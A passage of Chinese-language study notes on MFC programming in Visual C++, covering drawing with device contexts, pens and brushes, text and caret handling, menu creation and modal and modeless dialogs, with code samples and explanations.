title="2.MFC框架程序剖析"></a>2.MFC框架程序剖析</h3><p><strong>窗口类</strong></p><pre class="line-numbers language-C++"><code class="language-C++">class CWnd{public: BOOL CreateEx(DWORD dwExStyle, // extended window style LPCTSTR lpClassName, // registered class name LPCTSTR lpWindowName, // window name DWORD dwStyle, // window style int x, // horizontal position of window int y, // vertical position of window int nWidth, // window width int nHeight, // window height HWND hWndParent, // handle to parent or owner window HMENU hMenu, // menu handle or child identifier HINSTANCE hInstance, // handle to application instance LPVOID lpParam); // window-creation data BOOL ShowWindow(int nCmdShow); BOOL UpdateWindow();public: HWND m_hWnd;};<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>MFC中窗口类对象(CWnd)和窗口并不是一回事,窗口是资源。窗口销毁时,与之对应的C++窗口类对象不一定销毁(具体要看其生命周期是否结束);C++窗口类对象销毁时,与之相关的窗口也将销毁。</strong></p><hr><h2 id="第四讲-绘图与文本"><a href="#第四讲-绘图与文本" class="headerlink" title="第四讲 绘图与文本"></a>第四讲 绘图与文本</h2><p><img src="4-1.jpg" alt=""></p><pre class="line-numbers language-C++"><code class="language-C++">#ifndef afx_msg#define afx_msg // intentional placeholder#endif<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><code>afx_msg</code>这个宏定义为空,相当于注释。</p><p><strong>消息映射宏</strong></p><pre class="line-numbers language-C++"><code class="language-C++">BEGIN_MESSAGE_MAP(CMFC_testView, CView) //{{AFX_MSG_MAP(CMFC_testView)ON_WM_LBUTTONDOWN()//}}AFX_MSG_MAP // Standard printing commands ON_COMMAND(ID_FILE_PRINT, CView::OnFilePrint) ON_COMMAND(ID_FILE_PRINT_DIRECT, CView::OnFilePrint) ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView::OnFilePrintPreview)END_MESSAGE_MAP()<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="1-画线"><a href="#1-画线" class="headerlink" title="1.画线"></a>1.画线</h3><ol><li><p>在public中添加 m_PrOrigin定义</p><pre class="line-numbers language-C++"><code class="language-C++">public: CMFC_testDoc* GetDocument(); CPoint m_ptOrigin;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre></li><li><p>调用设备描述表和底层API</p><pre class="line-numbers language-C++"><code class="language-C++">void CMFC_testView::OnLButtonDown(UINT nFlags, CPoint point) { // TODO: Add your message handler code here and/or call default m_ptOrigin = point; CView::OnLButtonDown(nFlags, point);}void CMFC_testView::OnLButtonUp(UINT nFlags, CPoint point) { // TODO: Add your message handler code here and/or call default HDC hdc; //设备描述表 hdc = ::GetDC(m_hWnd); //调用底层API ::MoveToEx(hdc, m_ptOrigin.x, m_ptOrigin.y, NULL); ::LineTo(hdc, point.x, point.y); ::ReleaseDC(m_hWnd, hdc); CView::OnLButtonUp(nFlags, point);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>利用CDC类实现画线功能</p><pre class="line-numbers language-C++"><code class="language-C++">void CMFC_testView::OnLButtonUp(UINT nFlags, CPoint point) { CDC* pDC = GetDC(); pDC->MoveTo(m_ptOrigin); pDC->LineTo(point); ReleaseDC(pDC); CView::OnLButtonUp(nFlags, point);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>利用CClientDC类实现画线功能</p><pre class="line-numbers language-C++"><code class="language-C++">void CMFC_testView::OnLButtonUp(UINT nFlags, CPoint point) { CClientDC dc(this); //this指针指向当前的视类 dc.MoveTo(m_ptOrigin); dc.LineTo(point); CView::OnLButtonUp(nFlags, point);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="4-3.jpg" alt=""></p></li><li><p>利用CWindowDC类实现画线功能</p><p>(可以把线画到菜单上,菜单是主框架的非客户区)</p><pre class="line-numbers language-C++"><code class="language-C++">void CMFC_testView::OnLButtonUp(UINT nFlags, CPoint point) { CWindowDC dc(GetParent()); //GetParent指针指向当前窗口的父类 dc.MoveTo(m_ptOrigin); dc.LineTo(point); CView::OnLButtonUp(nFlags, point);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>绘制彩色线条——使用CPen类</p><pre class="line-numbers language-C++"><code class="language-C++">void CMFC_testView::OnLButtonUp(UINT nFlags, CPoint point) { CPen pen(PS_SOLID,5,RGB(255,0,0));//设置画笔,RGB来确定色彩 CClientDC dc(this); CPen* pOldPen = dc.SelectObject(&pen);//返回值是旧的笔,先保存起来 dc.MoveTo(m_ptOrigin); dc.LineTo(point); dc.SelectObject(pOldPen);//旧笔再放回去<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><pre><code> CView::OnLButtonUp(nFlags, point);</code></pre><p> }</p><pre><code>7. 用画刷CBrush类绘图 ```C++ void CMFC_testView::OnLButtonUp(UINT nFlags, CPoint point) { CBrush brush(RGB(255,0,0)); CClientDC dc(this); dc.FillRect(CRect(m_ptOrigin,point), &brush); //绘制矩形 CView::OnLButtonUp(nFlags, point); }</code></pre><p> <strong>添加位图资源</strong></p><p> <img src="4-4.jpg" alt=""></p><pre class="line-numbers language-C++"><code class="language-C++"> void CMFC_testView::OnLButtonUp(UINT nFlags, CPoint point) { CBitmap bmp; bmp.LoadBitmap(IDB_BITMAP1); CBrush brush(&bmp); CClientDC dc(this); dc.FillRect(CRect(m_ptOrigin,point), &brush); //添加位图资源 CView::OnLButtonUp(nFlags, point); }<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p> 灵魂画手上线!!!</p><p> <img src="4-5.jpg" alt=""></p><p>==(以上第九课内容)==</p><hr><ol start="8"><li><p>绘制连续线条</p><p>(捕获鼠标move消息,画若干个首尾连续的短直线)</p><pre class="line-numbers language-C++"><code class="language-C++">void CMFC_testView::OnMouseMove(UINT nFlags, CPoint point) { // TODO: Add your message handler code here and/or call default CPen pen(PS_SOLID,5,RGB(255,0,0));//设置画笔 CClientDC dc(this); CPen* pOldPen = dc.SelectObject(&pen); //OnMouseMove if (nFlags == MK_LBUTTON )//表示鼠标左键一直没有松开 { dc.MoveTo(m_ptOrigin); dc.LineTo(point); //记录move m_ptOrigin = point; //更改下一次的画线坐标起点为本次画线的终点 } dc.SelectObject(pOldPen); CView::OnMouseMove(nFlags, point);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>橡皮筋技术</p><p>(通过背景取反擦除上一次的线条)</p><pre class="line-numbers language-C++"><code class="language-C++">BOOL CMFC_testView::OnEraseBkgnd(CDC* pDC) { // TODO: Add your message handler code here and/or call default CRect rect; GetClientRect(&rect);//获得当前窗口的参数 CBitmap bmp; bmp.LoadBitmap(IDB_BITMAP1); CBrush brush(&bmp); CClientDC dc(this); dc.FillRect(rect, &brush); //return CView::OnEraseBkgnd(pDC); return TRUE;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><h3 id="2-文本编程"><a href="#2-文本编程" class="headerlink" title="2.文本编程"></a>2.文本编程</h3><pre class="line-numbers language-C++"><code class="language-C++">void CTEXTView::OnDraw(CDC* pDC){ CTEXTDoc* pDoc = GetDocument(); ASSERT_VALID(pDoc); // TODO: add draw code for native data here pDC->TextOut(100,100,"Hello World!");}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C++"><code class="language-C++">void CTEXTView::OnDraw(CDC* pDC){ CTEXTDoc* pDoc = GetDocument(); ASSERT_VALID(pDoc); // TODO: add draw code for native data here CString str("Hello world!"); pDC->TextOut(100,100,str);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>添加字符串资源</p><pre class="line-numbers language-C++"><code class="language-C++">void CTEXTView::OnDraw(CDC* pDC){ CTEXTDoc* pDoc = GetDocument(); ASSERT_VALID(pDoc); // TODO: add draw code for native data here CString str; str.LoadString(IDS_MYSTRING); pDC->TextOut(100,100,str);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>创建记事本</strong></p><ol><li><p>创建插入符</p><pre class="line-numbers language-C++"><code class="language-C++">int CTEXTView::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CView::OnCreate(lpCreateStruct) == -1) return -1; // TODO: Add your specialized creation code here/* CreateSolidCaret(20,200);//插入符大小 ShowCaret();*/ CClientDC dc(this); TEXTMETRIC tm; dc.GetTextMetrics(&tm); CreateSolidCaret(tm.tmAveCharWidth/8, tm.tmHeight);//根据字符大小设置插入符大小 ShowCaret();<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><pre><code> return 0;</code></pre><p> }</p><pre><code>2. 创建位图插入符 ```C++ int CTEXTView::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CView::OnCreate(lpCreateStruct) == -1) return -1; CClientDC dc(this); TEXTMETRIC tm; dc.GetTextMetrics(&tm); CBitmap bmp; //局部变量 bmp.LoadBitmap(IDB_BITMAP1);//对象和资源绑定在一起,对象释放掉之后资源也释放掉了 CBrush brush(&bmp); CreateCaret(&bmp); ShowCaret(); bmp.Detach();//解除C++对象和资源的绑定关系,C++对象释放,资源还在。 return 0; }</code></pre><p> <img src="4-6.jpg" alt=""></p><p>==(以上第十课内容)==</p><hr><ol start="3"><li><p>插入符位置随鼠标单击移动</p><pre class="line-numbers language-C++"><code class="language-C++">//先在头文件里面定义全局变量/*public: CString m_strLine; CPoint m_ptOrigin;*/void CTEXTView::OnLButtonDown(UINT nFlags, CPoint point) { // TODO: Add your message handler code here and/or call default SetCaretPos(point);//光标随鼠标单击移动 m_strLine.Empty();//之前存储的字符清空,不重复输出 m_ptOrigin =point;//保存鼠标点击的位置 CView::OnLButtonDown(nFlags, point);}void CTEXTView::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) { // TODO: Add your message handler code here and/or call default CClientDC dc(this);//设备描述表,以下用于输出 m_strLine += nChar; dc.TextOut(m_ptOrigin.x, m_ptOrigin.y, m_strLine);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><pre><code> CView::OnChar(nChar, nRepCnt, nFlags);</code></pre><p> }</p><pre><code>4. 回车键和退格键 ```C++ void CTEXTView::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) { // TODO: Add your message handler code here and/or call default CClientDC dc(this);//设备描述表,以下用于输出 if (13 == nChar) //回车键的ASCII码为13 { TEXTMETRIC tm; dc.GetTextMetrics(&tm);//取得字体的高度 m_strLine.Empty(); m_ptOrigin.y += tm.tmHeight; } else if (8 == nChar) //退格键的ASCII码为8 { COLORREF clr = dc.SetTextColor(dc.GetBkColor());//文本设置成背景色 dc.TextOut(m_ptOrigin.x, m_ptOrigin.y, m_strLine);//再输出一次 m_strLine = m_strLine.Left(m_strLine.GetLength() - 1) ;//最右边删掉一个字符 dc.SetTextColor(clr);//还原颜色 } else m_strLine += nChar; dc.TextOut(m_ptOrigin.x, m_ptOrigin.y, m_strLine); CView::OnChar(nChar, nRepCnt, nFlags); }</code></pre><ol start="5"><li><p>插入符随之字符输入后移</p><pre class="line-numbers language-C++"><code class="language-C++">CSize sz = dc.GetTextExtent(m_strLine);//得到x,y参数 CPoint pt; pt.x = m_ptOrigin.x + sz.cx;//插入符宽度后移 pt.y = m_ptOrigin.y; SetCaretPos(pt);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>设置字体</p><pre class="line-numbers language-C++"><code class="language-C++"> CClientDC dc(this);//设备描述表,以下用于输出 CFont font; font.CreatePointFont(200, "华文琥珀"); //设置字体 CFont* pOldFont = dc.SelectObject(&font); dc.SetTextColor(RGB(255,0,0));//设置颜色······ dc.SelectObject(pOldFont);//把字体换回来<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>模拟卡拉OK的字幕变色功能</p><pre class="line-numbers language-C++"><code class="language-C++">void CTEXTView::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) { // TODO: Add your message handler code here and/or call default CClientDC dc(this);//设备描述表,以下用于输出 CFont font; font.CreatePointFont(400,"华文行楷",NULL); //设置字体 CFont* pOldFont = dc.SelectObject(&font); dc.SetTextColor(RGB(255,0,0)); if (13 == nChar) //回车键的ASCII码为13 { TEXTMETRIC tm; dc.GetTextMetrics(&tm);//取得字体的高度 m_strLine.Empty(); m_ptOrigin.y += tm.tmHeight; } else if (8 == nChar) //退格键的ASCII码为8 { COLORREF clr = dc.SetTextColor(dc.GetBkColor());//文本设置成背景色 dc.TextOut(m_ptOrigin.x, m_ptOrigin.y, m_strLine);//再输出一次 m_strLine = m_strLine.Left(m_strLine.GetLength() - 1) ;//最右边删掉一个字符 dc.SetTextColor(clr);//还原颜色 } else m_strLine += nChar;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><pre><code> CSize sz = dc.GetTextExtent(m_strLine);//得到x,y参数 CPoint pt; pt.x = m_ptOrigin.x + sz.cx;//插入符宽度后移 pt.y = m_ptOrigin.y; SetCaretPos(pt); dc.TextOut(m_ptOrigin.x, m_ptOrigin.y, m_strLine); dc.SelectObject(pOldFont);//把字体换回来 CView::OnChar(nChar, nRepCnt, nFlags);</code></pre><p> }<br> int nWidth = 0;<br> void CTEXTView::OnTimer(UINT nIDEvent)<br> {<br> // TODO: Add your message handler code here and/or call default<br> nWidth += 3;//宽度每秒加3<br> CClientDC dc(this);<br> TEXTMETRIC tm;<br> dc.GetTextMetrics(&tm);<br> CRect rect;<br> rect.left = 0;<br> rect.top = 200;<br> rect.right = rect.left + nWidth;//往右增长<br> rect.bottom = rect.top + tm.tmHeight;</p><pre><code> dc.SetTextColor(RGB(255,0,0)); CString str; str.LoadString(IDS_MYSTRING); dc.DrawText(str,rect,DT_LEFT);//字符串,矩形框,从左往右 CSize sz = dc.GetTextExtent(str); if (nWidth > sz.cx) //超出矩形框范围就变色 { nWidth = 0; dc.SetTextColor(RGB(0,0,255)); dc.TextOut(rect.left,rect.top,str); } CView::OnTimer(nIDEvent);</code></pre><p> }</p><pre><code>**新建MFC工程(CRichEditView基类有现成的记事本)**![](4-7.jpg)***## 第五讲 菜单编程### 1.菜单响应![](5-1.jpg)当然,也可以自定义顶级菜单设置响应。![](5-2.jpg)定义菜单并设置ID号后,在四个类里面都可以设置ID_TEST。但是点击test,只会响应视类的定义,其它三个类的定义都不响应。(==以上第十一课内容==)弹出式菜单没有ID号,只有菜单项才有ID号**Windows消息分类**- 标准消息 除`WM_COMMAND`之外,所有以`WM_`开头的消息。从`CWnd`派生的类,都可以接收到这类消息。- 命令消息 **来自菜单、快捷键或工具栏按钮的消息。**这类消息都以`WM_COMMAND`呈现。在MFC中,通过菜单项的标识(ID)来区分不同的命令消息;在从`CCmdTarget`派生的类,都可以接收到这类消息。- 通告消息 由控件产生的消息,例如,按钮的单击,列表框的选择等均产生此类消息,为的是向其父窗口(通常是对话框)通知时间的发生。这类消息也是以`WM_COMMAND`形式呈现。 从`CCmdTarget`派生的类,都可以接收到这类消息。**菜单响应命令与响应顺序**在视图、文档、主框架、应用程序类中都添加菜单响应命令ON_TEST,最后只有View类响应。![](5-3.jpg)**把视类菜单响应删除,轮到文档类响应。****响应顺序:**> CMenuView-->CMenuDoc-->CMainFrame-->CMenuApp- 当点击某菜单项时,最先接收到这个菜单命令消息的是框架类。- 框架类把接收到的这个消息传给它的子窗口,即视类。视类根据命令消息映射机制查找自身是否对这个消息进行了响应,如果响应了,则调用自身相应响应。 - 如果视类没有对此命令消息作出响应,就交由文档类,文档类同样查找自身是否这个消息进行了响应,如果响应了,则调用自身相应响应。- 如果文档类也未做出响应,就把这个命令消息交还给视类,后者再交还给框架类。- 框架类查看自己是否对这个命令消息进行了响应,如果它也没有相应,就把这个菜单命令消息交给应用程序类,由后者来处理。### 2.基本菜单操作**菜单的结构**![](5-4.jpg)**标记菜单**> Source Files-->MainFrm.cpp中```C++GetMenu()->GetSubMenu(0)->CheckMenuItem(0, MF_BYPOSITION | MF_CHECKED);//通过楼层号来访问//获得顶级菜单-->子菜单(0)-->0号菜单项前面打勾</code></pre><pre class="line-numbers language-C++"><code class="language-C++">GetMenu()->GetSubMenu(0)-> CheckMenuItem(ID_FILE_NEW, MF_CHECKED);//用ID号访问<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><strong>使用图形标记菜单</strong></p><pre class="line-numbers language-C++"><code class="language-C++"> GetMenu()->GetSubMenu(0)->CheckMenuItem(0, MF_BYPOSITION | MF_CHECKED); //获得顶级菜单-->子菜单(0)-->0号菜单项前面打勾 GetMenu()->GetSubMenu(0)-> CheckMenuItem(ID_FILE_NEW, MF_CHECKED); //用ID号访问 CBitmap bmp1,bmp2; bmp1.LoadBitmap(IDB_BITMAP2);//对应checked bmp2.LoadBitmap(IDB_BITMAP3);//对应unchecked GetMenu()->GetSubMenu(0)->SetMenuItemBitmaps(0, MF_BYPOSITION, &bmp1, &bmp2); bmp1.Detach();//解除绑定 bmp2.Detach();<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>禁用菜单项</strong></p><pre class="line-numbers language-C++"><code class="language-C++">CMainFrame::CMainFrame(){ // TODO: add member initialization code here m_bAutoMenuEnable = FALSE;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>该要生效,必须在CMainFrame类的构造中把成员变量m_bAutoMenuEnable设置为FALSE。要使用菜单命令更新机制(后面有讲),则该变量应设置为TRUE(缺省值)</p></blockquote><pre class="line-numbers language-C++"><code class="language-C++">GetMenu()->GetSubMenu(0)->EnableMenuItem(0, MF_BYPOSITION | MF_GRAYED | MF_DISABLED);//变灰和失效通常一起使用。<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><strong>移除和加载菜单</strong></p><pre class="line-numbers language-C++"><code class="language-C++">SetMenu(NULL);//移除菜单CMenu menu;//加载菜单menu.LoadMenu(IDR_MAINFRAME);SetMenu(&menu);menu.Detach();//解除menu资源和对象的关系,否则return 0后资源会被释放;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="3-MFC菜单命令更新机制"><a href="#3-MFC菜单命令更新机制" class="headerlink" title="3.MFC菜单命令更新机制"></a>3.MFC菜单命令更新机制</h3><p><img src="5-5.jpg" alt=""></p><p><code>ID_EDIT_CUT</code>是剪切的ID号</p><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnUpdateEditCut(CCmdUI* pCmdUI) { // TODO: Add your command update UI handler code here pCmdUI->Enable(TRUE); pCmdUI->SetCheck(); pCmdUI->SetText("123");}//MFC菜单命令更新机制<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="4-制作一个快捷菜单"><a href="#4-制作一个快捷菜单" class="headerlink" title="4.制作一个快捷菜单"></a>4.制作一个快捷菜单</h3><p>再次强调菜单并不是窗口,菜单从<code>CObject</code>派生而来,属于资源。</p><ol><li><p>添加新的菜单资源</p><p>resource界面在Menu上右键插入Menu命令,为这个菜单资源添加菜单项。</p></li><li><p>给视类添加WM_RBUTTONDOWN消息响应</p><p><code>Ctrl</code>+<code>w</code>快捷键的方式去添加一个响应<code>WM_RBUTTONDOWN</code>,注意一定是在视类里面添加。</p></li><li><p>调用<code>TrackPopupMenu</code></p><p>先给这两个快捷菜单项设置一下ID号,ID_FTEST1和ID_FTEST2。</p><p><img src="5-6.jpg" alt=""></p></li><li><p>添加响应</p><pre class="line-numbers language-C++"><code class="language-C++">void CTEXTView::OnFtest1() { // TODO: Add your command handler code here MessageBox("test1");}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>注意一定要添加到视类。(添加到Frame类里面,视类也能用。但是View类,Frame类里面就不能响应了)</p><p>==(以上第十二课内容)==</p></li></ol><h3 id="5-动态菜单操作"><a href="#5-动态菜单操作" class="headerlink" title="5.动态菜单操作"></a>5.动态菜单操作</h3><p> <strong>添加菜单项目</strong></p><blockquote><p>放在Frame::OnCreate里面</p></blockquote><pre class="line-numbers language-C++"><code class="language-C++"> CMenu my_menu;//添加顶层菜单 my_menu.CreateMenu(); GetMenu()->AppendMenu( MF_POPUP, (UINT) my_menu.m_hMenu, "my_menu"); GetMenu()->GetSubMenu(0)->AppendMenu(MF_STRING, 777, "Hello");//添加顶层菜单下的菜单项,在(0)号菜单下添加 //AppendMenu()的第一个参数决定了菜单的类型 my_menu.Detach();<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>插入菜单项目</strong></p><pre class="line-numbers language-C++"><code class="language-C++"> CMenu my_menu; my_menu.CreateMenu(); GetMenu()->InsertMenu(2, MF_BYPOSITION | MF_POPUP, (UINT)my_menu.m_hMenu,"my_menu");//在2号位置插入顶级菜单 GetMenu()->GetSubMenu(0)->InsertMenu (0, MF_STRING | MF_BYPOSITION, 777, "Hello");//插入顶层菜单项 my_menu.Detach();<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>删除菜单项目</strong></p><pre class="line-numbers language-C++"><code class="language-C++"> GetMenu()->DeleteMenu(1, MF_BYPOSITION );//删除顶级菜单 GetMenu()->GetSubMenu(0)->DeleteMenu (0, MF_BYPOSITION);//删除顶级菜单的菜单项<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><strong>动态添加的菜单命令响应</strong></p><p>动态菜单不能用<code>Ctrl+w</code>快捷键来响应,因为VC找不到动态,选择手动在以下三处添加响应代码。</p><ol><li><p>MainFrm.h</p><pre class="line-numbers language-C++"><code class="language-C++">protected: //{{AFX_MSG(CMainFrame) afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); afx_msg void OnTest(); afx_msg void OnTest1(); afx_msg void OnUpdateEditCut(CCmdUI* pCmdUI); //}}AFX_MSG void OnHello();//定义响应OnHello(),放在Afx外面<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>MainFrm.cpp</p><pre class="line-numbers language-C++"><code class="language-C++">//在消息宏映射里面增加消息映射宏BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd) //{{AFX_MSG_MAP(CMainFrame) ON_WM_CREATE() ON_COMMAND(ID_TEST1, OnTest1) ON_UPDATE_COMMAND_UI(ID_EDIT_CUT, OnUpdateEditCut) //}}AFX_MSG_MAP ON_COMMAND(777, OnHello)//放在BEGIN和END中间,ID号为777END_MESSAGE_MAP()<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnHello() { // TODO: Add your command handler code here MessageBox("Hello");}//添加定义<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><hr><h2 id="第六讲-对话框编程"><a href="#第六讲-对话框编程" class="headerlink" title="第六讲 对话框编程"></a>第六讲 对话框编程</h2><h3 id="1-对话框的基本知识"><a href="#1-对话框的基本知识" class="headerlink" title="1.对话框的基本知识"></a>1.对话框的基本知识</h3><p>对话框是一个窗口,与对话框资源相关的类为<code>CDialog</code>,由<code>CWnd</code>类派生而来。可以将对话框看成是一个大容器,在它上面能够放置各种标准的扩展控件,是用户与程序进行交互的重要手段。<strong>在MFC中,所有的控件都是由CWnd派生而来,因此,控件实际上也是窗口。</strong></p><p><strong>对话框种类</strong></p><ul><li><p>模式对话框</p><blockquote><p>当期显示的时候,程序会暂停执行,直到关闭这个对话框后,才能继续执行程序中其他任务,如”文件/打开”对话框。</p></blockquote></li><li><p>无模式对话框</p><blockquote><p>当其显示时,允许转而执行程序中其它任务,而不用关闭这个对话框。该类型对话框不会垄断用户的操作,用户仍可以与其他界面对象进行交互。例如,”查找”对话框。</p></blockquote></li></ul><h3 id="2-创建模式对话框"><a href="#2-创建模式对话框" class="headerlink" title="2.创建模式对话框"></a>2.创建模式对话框</h3><ol><li>在Menu里面添加一个对话框</li><li>在Frame里面为其添加响应</li><li>在位图资源里面新建一个CMyDlg</li></ol><p><img src="6-1.jpg" alt=""></p><p>添加位图之后再File里面会自动添加<code>MyDlg.cpp</code>和<code>MyDlg.h</code></p><blockquote><p>在主框架内添加头文件#include “MyDlg.h”</p></blockquote><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnMydlg() { // TODO: Add your command handler code here CMyDlg Dlg; Dlg.DoModal();}/* DoModal功能: 1.创建对话框 2.显示对话框 3.暂停运行 DoModal何时返回?点击 "确定" --> IDOK "取消"-->IDCANCEL "关闭"-->IDCANCEL 调用EndDialog()的时候,DoModal返回。*/<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>EndDialog()功能</strong></p><ol><li>通知DoModal结束暂停,可以返回</li><li>隐藏对话框(并没有kill)</li></ol><h3 id="3-创建无模式对话框"><a href="#3-创建无模式对话框" class="headerlink" title="3.创建无模式对话框"></a>3.创建无模式对话框</h3><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnMydlg() { // TODO: Add your command handler code here// CMyDlg Dlg; //模式对话框// Dlg.DoModal(); CMyDlg Dlg; //无模式对话框 Dlg.Create(IDD_DIALOG1, this); Dlg.ShowWindow(SW_SHOW);//将无模式对话框显示出来 /*以上代码会导致对话框闪退,加上Detach()解除局部对象绑定*/ Dlg.Detach();}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>在这里加上Detach()之后会导致程序异常退出。</p><p>Detach()曾用于CBitmap、CMenu</p></blockquote><p>==(以上第十三课内容)==</p><p><strong>Detach()失效原因</strong></p><blockquote><p>窗口这个资源和普通资源不一样,解除了C++对象和窗口的绑定关系,窗口的所有特征都会失效,则会导致程序崩溃。</p></blockquote><p><strong>解决方法</strong></p><ol><li><p>把<code>CMyDlg Dlg;</code>放到主框架的头文件中,定义为全局变量。但是用这种方法Create只能被执行一次,因为第一次Create之后还没有被销毁,第二次再执行就会报错。</p><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnMydlg() { static BOOL bFlag = FALSE; if (FALSE == bFlag) { Dlg.Create(IDD_DIALOG1, this); bFlag = TRUE; } Dlg.ShowWindow(SW_SHOW);//将无模式对话框显示出来}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><p><strong>为什么模式对话框可以用局部变量,而无模式对话框不能?</strong></p><blockquote><p>原因在于DoModal()有暂停功能,调用DoModal时线程都被暂停,并没有返回,之后被释放掉也不会受到影响。</p></blockquote><ol start="2"><li><p>把对话框对象定义为指针,在堆上分配内存。</p><pre class="line-numbers language-C++"><code class="language-C++"> void CMainFrame::OnMydlg() { CMyDlg* pDlg = new CMyDlg; pDlg->Create(IDD_DIALOG1, this); pDlg->ShowWindow(SW_SHOW);}//在堆上new一个指针,但是这种方法会导致内存泄露<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><p><img src="6-2.jpg" alt=""></p><p>在<code>MyDlg.cpp</code>中添加如下代码:</p><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::PostNcDestroy() { // TODO: Add your specialized code here and/or call the base class //非客户区被销毁的时候 delete this;//防止内存泄露 CDialog::PostNcDestroy();}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>销毁无模式对话框</strong></p><pre class="line-numbers language-C++"><code class="language-C++">static BOOL bFlag = FALSE; if (FALSE == 